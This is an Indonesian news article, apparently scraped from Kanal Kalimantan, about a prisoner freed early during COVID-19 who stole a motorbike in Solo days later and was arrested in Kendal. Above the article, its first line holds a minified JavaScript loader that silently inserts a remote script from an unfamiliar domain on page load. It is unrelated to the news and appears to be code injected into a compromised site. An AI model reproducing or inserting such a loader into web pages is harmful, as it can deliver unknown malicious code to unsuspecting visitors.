(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Baru 5 Hari Bebas dari Penjara karena Wabah Corona, Ade Malah Curi Motor


KANALKALIMANTAN.COM – Satu narapidana yang baru dibebaskan dari Lembaga Pemasyarakatan (Lapas) Ambarawa setelah ada kebijakan Menteri Hukum dan HAM Yasonna H Laoly terkait memutus mata rantai wabah Covid-19, Ade Kurniawan justru kembali menjadi kriminal.

Lelaki berusia 23 tahun warga Bolom, Colomadu, Karanganyar, Jawa Tengah itu, tepergok mencuri sepeda motor di Solo, Rabu (8/4/2020) pekan lalu.

Ade Kurniawan yang punya nama alias Bengbeng alias Bengkong ini, ditangkap Unit Reskrim Polsek Banjarsari saat bersembunyi di Sukorejo, Kendal, Minggu (12/4/2020) sore.

Napi yang mencuri seped motor di Solo itu baru dibebaskan dari Lapas Ambarawa. Dia seharusnya menjalankan proses asimilasi di rumah per Jumat (3/4/2020) lalu.

Kapolsek Banjarsari Komisaris Demianus Palulungan kepada Solopos.com—jaringan Suara.com, Senin (13/4/2020), mengatakan Ade Kurniawan mencuri motor itu dengan merusak lubang kunci kendaraan.

Tertangkap di Kendal

Saat itu, sepeda motor Yamaha Jupiter berpelat nomor AD 3487 HU itu terparkir di teras rumah korban. Aksi Ade Kurniawan itu terekam kamera closed circuit television (CCTV).

“Kami memeriksa berbagai petunjuk seperti rekaman kamera CCTV. Dari situ kami mengetahui pelaku bersembunyi di rumah temannya di Kendal. Saat ini pelaku sudah kami bawa ke Polsek Banjarsari untuk diproses hukum,” ujarnya mewakili Kapolresta Solo Kombes Pol Andy Rifai.

Ia menjelaskan saat ditangkap, napi yang nyolong motor di Solo itu sudah mengubah barang bukti motor Yamaha Jupiter itu. Pelat nomor aslinya, AD 3487 HU, diganti menjadi H 2622 EM.

Polisi menyita sepeda motor hasil curian dan pelat nomor palsu itu sebagai barang bukti. Menurutnya, berdasarkan pemeriksaan pelaku merupakan narapidana dengan kasus yang sama.

“Pada Jumat [3/4/2020] pelaku ini bebas mengikuti asimilasi di rumah karena wabah virus corona ini, lalu saat berkunjung ke Solo pada Rabu [8/4/2020] pelaku nekat mencuri sepeda motor lagi,” ujarnya.

Ia menambahkan, polisi menjerat pelaku dengan Pasal 363 KUHP tentang Pencurian dengan ancaman hukuman tujuh tahun penjara. (suara.com)

Reporter : suara.com
Editor : kk

 


Al Ghifari

Recent Posts

Niat Tawuran Bawa Celurit, Dua Remaja di Banjarmasin Diringkus Polisi

KANALKALIMANTAN.COM, BANJARMASIN - Petugas kepolisian dari Polsek Banjarmasin Barat menangkap dua orang remaja yang berniat… Read More

9 jam ago

#Save Demokrasi Banjarbaru: Hak Pilih Warga Dibungkam

KANALKALIMANTAN.COM, BANJARBARU - Penyelenggaraan Pemilihan Kepala Daerah (Pilkada) Serentak 2024 di Kota Banjarbaru Provinsi Kalimantan… Read More

10 jam ago

Kirim Surat Suara ke Tiga Wilayah Ujung Banjarmasin Gunakan Klotok

KANALKALIMANTAN.COM, BANJARMASIN - Logistik surat suara Pemilihan Kepala Daerah (Pilkada) 2024 di Kota Banjarmasin mulai… Read More

12 jam ago

Pengrajin Anyaman Purun Desa Pulantani Terima Bantuan CSR

KANALKALIMANTAN.COM, AMUNTAI - Pengembangan kapasitas pengrajin anyaman purun dan alat penunjang produksi kerajinan, bantuan dana… Read More

14 jam ago

Logistik Pemilihan di Banjarmasin Didistribusikan, Disebar ke 965 TPS

KANALKALIMANTAN.COM, BANJARMASIN – Dua hari jelang pemungutan suara Pilkada 2024, Komisi Pemilihan Umum (KPU) Kota… Read More

17 jam ago

KPU Banjarbaru Mengubur Demokrasi, Meniadakan Pilkada Banjarbaru 2024

KANALKALIMANTAN.COM, BANJARBARU - Melihat dan menyikapi penyelenggaraan Pilkada (Pemilihan Kepala Daerah) Kota Banjarbaru, pasca terbit… Read More

19 jam ago

This website uses cookies.